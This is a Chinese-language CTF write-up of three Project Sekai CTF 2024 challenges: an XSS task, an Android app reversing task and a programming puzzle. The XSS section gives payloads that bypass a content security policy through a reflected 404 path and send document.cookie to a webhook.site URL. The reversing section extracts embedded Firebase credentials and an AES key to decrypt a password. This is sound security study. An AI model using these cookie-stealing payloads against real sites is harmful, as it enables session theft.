Project Sekai CTF 2024 Writeup by ICEDTEA
WEB
Tagless
Solver: Whale120
一道XSS的題目
app.py
from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse
app = Flask(__name__, static_folder='static')
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route("/report", methods=["POST"])
def report():
bot = Bot()
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
except Exception:
return {"error": "Invalid URL."}, 400
if parsed_url.scheme not in ["http", "https"]:
return {"error": "Invalid scheme."}, 400
if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
return {"error": "Invalid host."}, 401
bot.visit(url)
bot.close()
return {"visited":url}, 200
else:
return {"error":"URL parameter is missing!"}, 400
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
if __name__ == '__main__':
app.run(debug=True)
bot的部分就是再正常不過的Chrome無頭瀏覽器設定好cookie(flag)後造訪。
先來看csp:
script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;
script-src
的部分設定了self,再仔細看看網站404的功能會發現他完整輸出了path,那不就跟利用jsonp bypass csp(link)的trick有異曲同工之妙,簡單舉個例子:
在這裡,我可以透過造訪http://127.0.0.1:5000/**/alert(1);//.js
獲得一段像這樣的內容:
這不就裸裸的js codeㄌ
引入js這塊算解決了…嗎?
答案是否定的,看看index.html和app.js
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tagless</title>
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/[email protected]/css/nes.css" />
<style>
body, html {
height: 100%;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
background-color: #212529;
color: #fff;
font-family: 'Press Start 2P', cursive;
}
.container {
text-align: center;
}
.nes-field, .nes-btn {
margin-top: 20px;
}
iframe {
width: 100%;
height: 300px;
border: none;
margin-top: 20px;
color: #212529;
background-color: #FFF;
font-family: 'Press Start 2P', cursive;
}
.nes-container.is-dark.with-title {
background-color: #212529;
}
</style>
</head>
<body>
<div class="container">
<section class="nes-container with-title is-centered is-dark">
<h2 class="title">Tagless Display</h2>
<div class="nes-field is-inline">
<label for="userInput" class="nes-text is-primary">Your Message:</label>
<input type="text" id="userInput" class="nes-input" placeholder="Hello, Retro World!">
</div>
<button id="displayButton" type="button" class="nes-btn is-primary">Display</button>
<div class="output">
<iframe id="displayFrame"></iframe>
</div>
</section>
</div>
<script src="/static/app.js"></script>
</body>
</html>
怎麼樣,看起來是不是會被塞進iframe,那iframe有個特性,就是所有被執行的javascript必須是被嵌入的網站本身有的,或者在iframe裡面有個 srcdoc
的選項,詳細資訊可以看這篇:huli大大的筆記
不過更重要的,先來看app.js!
app.js
document.addEventListener("DOMContentLoaded", function() {
var displayButton = document.getElementById("displayButton");
displayButton.addEventListener("click", function() {
displayInput();
});
});
function sanitizeInput(str) {
str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '');
return str;
}
function autoDisplay() {
const urlParams = new URLSearchParams(window.location.search);
const input = urlParams.get('auto_input');
displayInput(input);
}
function displayInput(input) {
const urlParams = new URLSearchParams(window.location.search);
const fulldisplay = urlParams.get('fulldisplay');
var sanitizedInput = "";
if (input) {
sanitizedInput = sanitizeInput(input);
} else {
var userInput = document.getElementById("userInput").value;
sanitizedInput = sanitizeInput(userInput);
}
var iframe = document.getElementById("displayFrame");
var iframeContent = `
<!DOCTYPE html>
<head>
<title>Display</title>
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
<style>
body {
font-family: 'Press Start 2P', cursive;
color: #212529;
padding: 10px;
}
</style>
</head>
<body>
${sanitizedInput}
</body>
`;
iframe.contentWindow.document.open('text/html', 'replace');
iframe.contentWindow.document.write(iframeContent);
iframe.contentWindow.document.close();
if (fulldisplay && sanitizedInput) {
var tab = open("/")
tab.document.write(iframe.contentWindow.document.documentElement.innerHTML);
}
}
autoDisplay();
呵呵,有趣了,所有的html tag都會被過濾,不過其實在瀏覽器上可以使用<img src='meowmeow.jpg'
之類的方法插入一個html tag,但也只有一個可以插
那不管,先來想想用現有的材料可以怎麼玩ㄅ
一開始的想法是利用 iframe 的 srcdoc inject 一段javascript程式碼就好,防止html標籤被過濾甚至可以用 src 再加上data:text/html;base64,
把他編碼,於是先嘗試這段payload:
http://127.0.0.1:5000/?auto_input=%3Ciframe%20src=%22data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjE6NTAwMC8qKi9hbGVydCgxKTsvLy5qcyIvPg==%22
把<script src="http://127.0.0.1:5000/**/alert(1);//.js" ></script>
base64 encode,然後自己塞一個初始化就有js的frame就彈出來ㄌ,然而…有這麼容易嗎?
並沒有,再塞入像是 <script src="http://127.0.0.1:5000/**/location.href='https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie;//.js" ></script>
這樣的payload試著偷cookie後就發現轉不出去,為什麼呢?
因為iframe內部的location並不是網站的location,導致他根本不能吃網站的location…
回去看一下404頁面,其實他能做的不只有任意的js,在瀏覽器裡面,他會根據前面的內容決定用什麼方法Render資訊(譬如說xml, html還是單純文字輸出),所以最後的做法就是把xss透過404 page inject進去,最後再去iframe他,規避掉<>過濾的方法可以用urlencode就好:
final payload:
http://127.0.0.1:5000/?auto_input=%3Ciframe%20src%3D%22http%3A%2F%2F127.0.0.1%3A5000%2F%26lt%3Bscript%20src%3D%26quot%3Bhttp%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2F%20location.href%3D%26%2339%3Bhttps%3A%2F%2Fwebhook.site%2Fd37cfcd6-38b3-4333-affe-c5ca094a0f5a%2Fa%26%2339%3B%2Bdocument.cookie%3B%2F%2F.js%26quot%3B%26gt%3B%26lt%3B%2Fscript%26gt%3B%22
然後再url encode一次(bot會把他先decode再送去瀏覽器)
欸…不是啊,所以前面iframe那麼多在幹嘛?直接丟一個http://127.0.0.1:5000/<script src="http://127.0.0.1:5000/**/ fetch('https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie);//.js"></script>
結束這回合不就得了…?
喔對,他沒給bot GUI介面,自己發CURL
好啦因為走遠路多學了好多東西,分享一下>W<
FLAG: SEKAI{w4rmUpwItHoUtTags}
Reverse
Crack Me
Solver: Whale120
先丟 decompile(link)
首先起手式逛了一下/sources/com/SekaiCTF/CrackMe
,沒有東西…
痾…直接裝起來看ㄅ:
Ok,登入頁面那邊有個是不是Admin的提示,grep一下Admin這個字串找檔案,發現 ./resources/assets/index.android.bundle
參考這篇(link)
拆開來翻找一下找到443.js
,看起來蠻有趣的。
觀察這一段程式碼:
上面這段也點了從哪裡抓flag
看起來邏輯長這樣:從477.js initial了app、也會從456.js抓key和iv出來做加密,所以把這些資訊摳出來:
477.js
var c = {
apiKey: 'AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk',
authDomain: 'crackme-1b52a.firebaseapp.com',
projectId: 'crackme-1b52a',
storageBucket: 'crackme-1b52a.appspot.com',
messagingSenderId: '544041293350',
appId: '1:544041293350:web:2abc55a6bb408e4ff838e7',
measurementId: 'G-RDD86JV32R',
databaseURL: 'https://crackme-1b52a-default-rtdb.firebaseio.com',
};
exports.default = c;
456.js
var _ = {
LOGIN: 'LOGIN',
EMAIL_PLACEHOLDER: '[email protected]',
PASSWORD_PLACEHOLDER: 'password',
BEGIN: 'CRACKME',
SIGNUP: 'SIGN UP',
LOGOUT: 'LOGOUT',
KEY: 'react_native_expo_version_47.0.0',
IV: '__sekaictf2023__',
};
exports.default = _;
先從456.js的資訊還原密碼
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
KEY = 'react_native_expo_version_47.0.0'
IV = '__sekaictf2023__'
key_bytes = KEY.encode('utf-8')
iv_bytes = IV.encode('utf-8')
ciphertext_hex = '03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524'
ciphertext_bytes = binascii.unhexlify(ciphertext_hex)
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
decrypted = unpad(cipher.decrypt(ciphertext_bytes), AES.block_size)
decrypted_password = decrypted.decode('utf-8')
print(decrypted_password)
解出來是s3cr3t_SEKAI_P@ss
拿到資訊之後上網看一下怎麼連,然後求助億下ChatGPT,最後寫出腳本撈flag
import requests
import json
api_key = "AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk"
database_url = "https://crackme-1b52a-default-rtdb.firebaseio.com"
email = "[email protected]"
password = "s3cr3t_SEKAI_P@ss"
login_url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={api_key}"
login_payload = {
"email": email,
"password": password,
"returnSecureToken": True
}
login_response = requests.post(login_url, data=json.dumps(login_payload), headers={"Content-Type": "application/json"})
login_response.raise_for_status()
id_token = login_response.json().get("idToken")
if not id_token:
raise Exception("Failed to get ID Token")
print("Login successful")
user_id = login_response.json().get("localId")
flag_path = f"/users/{user_id}/flag"
data_url = f"{database_url}{flag_path}.json?auth={id_token}"
response = requests.get(data_url)
if response.status_code == 200:
flag_data = response.json()
print(f"Flag: {flag_data}")
else:
print(f"Error retrieving data: {response.status_code} {response.text}")
Flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???}
PPC
WTF?
CTF比賽打競程,認真?
對
Miku vs. Machine
Solver: Whale120
題目敘述:
基本上我的做法就是直接構造l=n,然後for迴圈刷過去每場安排每個id的表演者都表演n單位時間直到他現在的總表演時間加起來已經夠了,那就切下一位表演者,簡單的乘除就可以知道這樣的構造一定會對。
solve.cpp
#include<bits/stdc++.h>
using namespace std;
void solve(){
int n, m, cur, amt;
cin >> n >> m;
amt=m;
cur=1;
cout << n << '\n';
for(int i=1;i<=m;i++){
if(amt >= n){
cout << n << ' ' << cur << ' ' << 0 << ' ' << cur << '\n';
amt-=n;
}
else{
cout << amt << ' ' << cur << ' ' << n-amt << ' ' << cur+1 << '\n';
cur++;
amt=m-(n-amt);
}
}
}
int main(){
int t;
cin >> t;
while(t--){
solve();
}
return 0;
}
Flag: SEKAI{t1nyURL_th1s:_6d696b75766d}